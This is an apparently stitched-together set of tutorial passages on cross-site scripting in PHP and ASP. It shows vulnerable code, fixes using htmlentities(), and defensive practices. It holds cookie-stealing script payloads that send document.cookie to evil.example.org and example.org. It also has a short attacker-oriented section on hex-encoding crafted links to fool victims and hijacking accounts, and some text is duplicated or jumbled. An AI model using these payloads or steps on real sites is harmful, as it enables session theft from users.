Sei sulla pagina 1di 9

Another

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or
Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to
gather data. The use of XSS might compromise private information, manipulate or steal cookies, create
requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems.
The data is usually formatted as a hyperlink containing malicious content and which is distributed over
any possible means on the internet.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually
these are present in Login forms, Forgot Password forms, etc

Consider the following example of a simplistic message board:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}

readfile('./messages.txt');

?>

This message board appends <br /> to whatever the user enters, appends this to a file, then displays the
current contents of the file.

Imagine if a user enters the following message:

<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>

The next user who visits this message board with JavaScript enabled is redirected to evil.example.org,
and any cookies associated with the current site are included in the query string of the URL.

Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to
suggest better (more malicious?) examples.

What can you do? XSS is actually very easy to defend against. Where things get difficult is when you
want to allow some HTML or client-side scripts to be provided by external sources (such as other users)
and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best
practices can mitigate the risk of XSS:

Filter all external data.

As mentioned earlier, data filtering is the most important practice you can adopt. By validating all
external data as it enters and exits your application, you will mitigate a majority of XSS concerns.

Use existing functions.

Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and
utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already
does. Not only is the PHP function much faster, but it is also more tested and less likely to contain
errors that yield vulnerabilities.

Use a whitelist approach.

Assume data is invalid until it can be proven valid. This involves verifying the length and also
ensuring that only valid characters are allowed. For example, if the user is supplying a last name,
you might begin by only allowing alphabetic characters and spaces. Err on the side of caution.
While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by
adding two more characters to the whitelist. It is better to deny valid data than to accept malicious
data.

Use a strict naming convention.

As mentioned earlier, a naming convention can help developers easily distinguish between filtered
and unfiltered data. It is important to make things as easy and clear for developers as possible. A
lack of clarity yields confusion, and this breeds vulnerabilities.

A much safer version of the simple message board mentioned earlier is as follows:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);

$fp = fopen('./messages.txt', 'a');


fwrite($fp, "$message<br />");
fclose($fp);
}

readfile('./messages.txt');
?>

With the simple addition of htmlentities(), the message board is now much safer. It should not be
considered completely secure, but this is probably the easiest step you can take to provide an adequate
level of protection. Of course, it is highly recommended that you follow all of the best practices that have
been discussed.

Cross-site scripting (XSS) is a security vulnerability of dynamic Web pages generated


from information supplied to the web server and replayed as part of the response to the browser. In an
XSS attack, a malicious user can create a specially crafted link to inject unwanted executable script or
code (usually JavaScript) into a Web site. When an unsuspecting victim clicks the link, the malicious piece
of JavaScript can then send the victims cookie away to a CGI script. At times techniques to protect data,
proper cookie handling is not enough to prevent XSS

Another
The fundamental error that yields XSS vulnerabilities is a blind trust of remote data (input). A general
recommendation among web developers is to never trust user input, but protecting against XSS requires
more, because any input can be dangerous. Examples of include posts on a forum, email displayed in a
browser, an advertisement, stock quotes provided in a feed, and form data. The risk is not just that you
trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and
XSS attacks exploit that trust.

To understand why displaying such data can be dangerous, consider a simple registration form where users
provide a preferred username along with their email address, and their registration information is emailed
to them once their account is created. The following form might be used to solicit this information:

<form action="/register.php" method="POST">


<p>Username: <input type="text" name="username" /></p>
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" value="Register" /></p>
</form>

Figure 1 illustrates how this form might appear in a browser.

Figure 1:
If the data sent by this form is not properly filtered, malicious users can send malicious data to
register.php, and the only limit to what they can do is the limit of their creativity.

Consider if the registration data is stored in a database as follows:

<?php

$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);

$sql = "INSERT
INTO users (username, email)
VALUES ('{$mysql['username']}', '{$mysql['email']}')";

?>

Hopefully the use of $_POST is conspicuous. Although $_POST['username'] and $_POST['email'] are
escaped properly for MySQL, this example still demonstrates a blind trust of this data. With legitimate
users, the dangers of this approach will remain hidden, and this is exactly how many web application
vulnerabilities are born. Consider the following username:

<script>alert('XSS');</script>

Although it is easy to determine that this is not a valid username, the previous example demonstrates how
the code that you write might not be so wise. Without input filtering, anything can end up in the database.
Of course, the danger in the case of XSS is when this data is displayed to users.

Assume that this particular registration system has an administrative interface that is only accessible from
the local network by authorized users. It is easy to assume that an application inaccessible from the
outside is safe, and less effort might be invested in the security of such an application. Now, consider the
code in Listing 1 that displays a list of registered users to authorized administrators.

Listing 1:
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>

<?php

if ($_SESSION['admin']) {
$sql = 'SELECT username, email
FROM users';

$result = mysql_query($sql);

while ($record = mysql_fetch_assoc($result)) {


echo " <tr>\n";
echo " <td>{$record['username']}</td>\n";
echo " <td>{$record['email']}</td>\n";
echo " </tr>\n";
}
}

?>

</table>

If the data in the database is tainted, an administrator might be subjected to XSS by using this application.
This risk is illustrated in Figure 2.

Figure 2:
This risk is
even clearer if you consider a more malicious payload such as the following:

<script>
new Image().src =
'http://example.org/steal.php?cookies=' +
encodeURI(document.cookie);
</script>

If this is displayed to an administrator, the administrator's cookies will be sent to example.org. In this
example, steal.php can access the cookies with $_GET['cookies']. Once captured, these cookies can
be used to hijack the administrator's session.

Safeguarding Against XSS


There are a few guidelines that you can follow to help safeguard your applications against XSS attacks.
Hopefully you can already predict a few of these.

Filter All Input


You must, without fail, filter all input. Inspect all input, and only allow valid data into your
application.
Escape All Output
You should also escape all output. For data that is meant to be displayed as raw data and not
interpreted as HTML, it must be escaped for the context of HTML.
Use Mature Solutions
When possible, use mature, existing solutions instead of trying to create your own. Functions like
strip_tags() and htmlentities() are good choices.
Only Allow Safe Content
Instead of trying to predict what malicious data you want to reject, define your criteria for valid
data, and force all input to abide by your guidelines. For example, if a user is supplying a last
name, you might start by only allowing alphabetic characters and spaces, as these are safe. If you
reject everything else, Berners-Lee and O'Reilly will be rejected, despite being valid last names.
However, this problem is easily resolved. A quick change to also allow single quotes and hyphens
is all you need to do. Over time, your input filtering techniques will be perfected.
Use a Naming Convention
There are many naming conventions that you can use to identify whether a particular variable is
tainted. Choose whichever convention is most intuitive to you, and use it consistently in all of your
development. A simple example is to initialize an array called $clean, and only store data in
$clean once it has been filtered.

ANOTHER
Cross-site scripting also known as XSS or CSS occurs when dynamically generated web pages display
input that is not properly validated. This allows an attacker to embed malicious JavaScript code into the
generated page and execute the script on the machine of any user that views that site. Cross-site scripting
could potentially impact any site that allows users to enter data.

An attacker who uses cross-site scripting successfully might compromise confidential information,
manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute
malicious code on the end-user systems.

Hackers are concentrating their efforts on web sites: 75% of cyber attacks are launched on shopping carts,
forms, login pages, dynamic content etc. Firewalls, SSL and locked-down servers are futile against web
application hacking!

When malicious script executed


1. Trusting input from an external, untrusted entity, such as a user
2. Displaying said input as output

This is bad because a malicious user could access another's important data, such as their cookies.
I bet you've seen ASP code like this before:
Hello, &nbsp;
<%
Response.Write(Request.Querystring("name"))
%>
Encoding user input
prevent XSS attacks.
From To
< &lt;
This code will write out to the browser whatever is in the name field in the > &gt;
querystring, for example:
( &#40;
www.example.com/req.asp?name=Blake ) &#41;

So, that seems fine and secure, but what if an attacker can convince a user to # &#35;
click on this link, for example on a Web page, a newsgroup or an e-mail & &#38;
message? That doesn't seem like a big deal, until you realize that an attacker
could have the unsuspecting user click on this link:

<a href=www.example.com/req/asp?name=scriptcode>Click here to win $1,000,000</a>

Who wouldn't click on that link?

The issue is the name parameter. It is not a name, but rather script, which could be used to access user's
cookie through the document.cookie object. As you know, cookies are tied to a domain; for example, a
cookie in the example.com domain can only be accessed by Web pages in the same domain. For example,
a Web page in the RippleCreations.com domain cannot access a cookie in the example.com domain. Now
think for a moment...when the user clicks the link above, in what domain does the script code execute? It
executes in the example.com domain, so it can access the cookie data in the example.com domain. The
problem is that it only takes one page in a domain to have this kind of flaw to render all data tied to that
domain insecure.

"What is Cross Site Scripting?"

Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a
user. The data is usually gathered in the form of a hyperlink which contains malicious content within it.
The user will most likely click on this link from another website, instant message, or simply just reading a
web board or email message. Many popular guestbook and forum programs allow users to submit posts
with html and javascript embedded in them. If for example I was logged in as "john" and read a message
by "joe" that contained malicious javascript in it, then it may be possible for "joe" to hijack my session
just by reading his bulletin board post.

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to
fool a user (Read below for further details) in order to gather data from them. Everything from account
hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible.

Step 1: Targeting

After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If
any part of the website uses cookies, then it is possible to steal them from its users.
Step 2: Testing

Since XSS holes are different in how they are exploited, some testing will need to be done in order to
make the output believable.

Step 3: XSS Execution

Hand out your crafted url or use email or other related software to help launch it. Make sure that if you
provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The
code is obviously suspicious looking but a bunch of hex characters may fool a few people.

Step 3: XSS Execution

Hand out your crafted url or use email or other related software to help launch it. Make sure that if you
provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The
code is obviously suspicious looking but a bunch of hex characters may fool a few people.

Step 4: What to do with this data

Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script.
Now that you have the cookie you can use a tool like Websleuth to see if account hijacking is possible.

"What can I do to protect myself as a user?"

The easiest way to protect yourself as a user is to only follow links from the main website you wish to
view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN's main
site and use its search engine to find the content. This will probably eliminate ninety percent of the
problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read
a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board
from a person you don't know BE CAREFUL. One of the best ways to protect yourself is to turn off
Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft,
and in general is a safer thing to do.

Potrebbero piacerti anche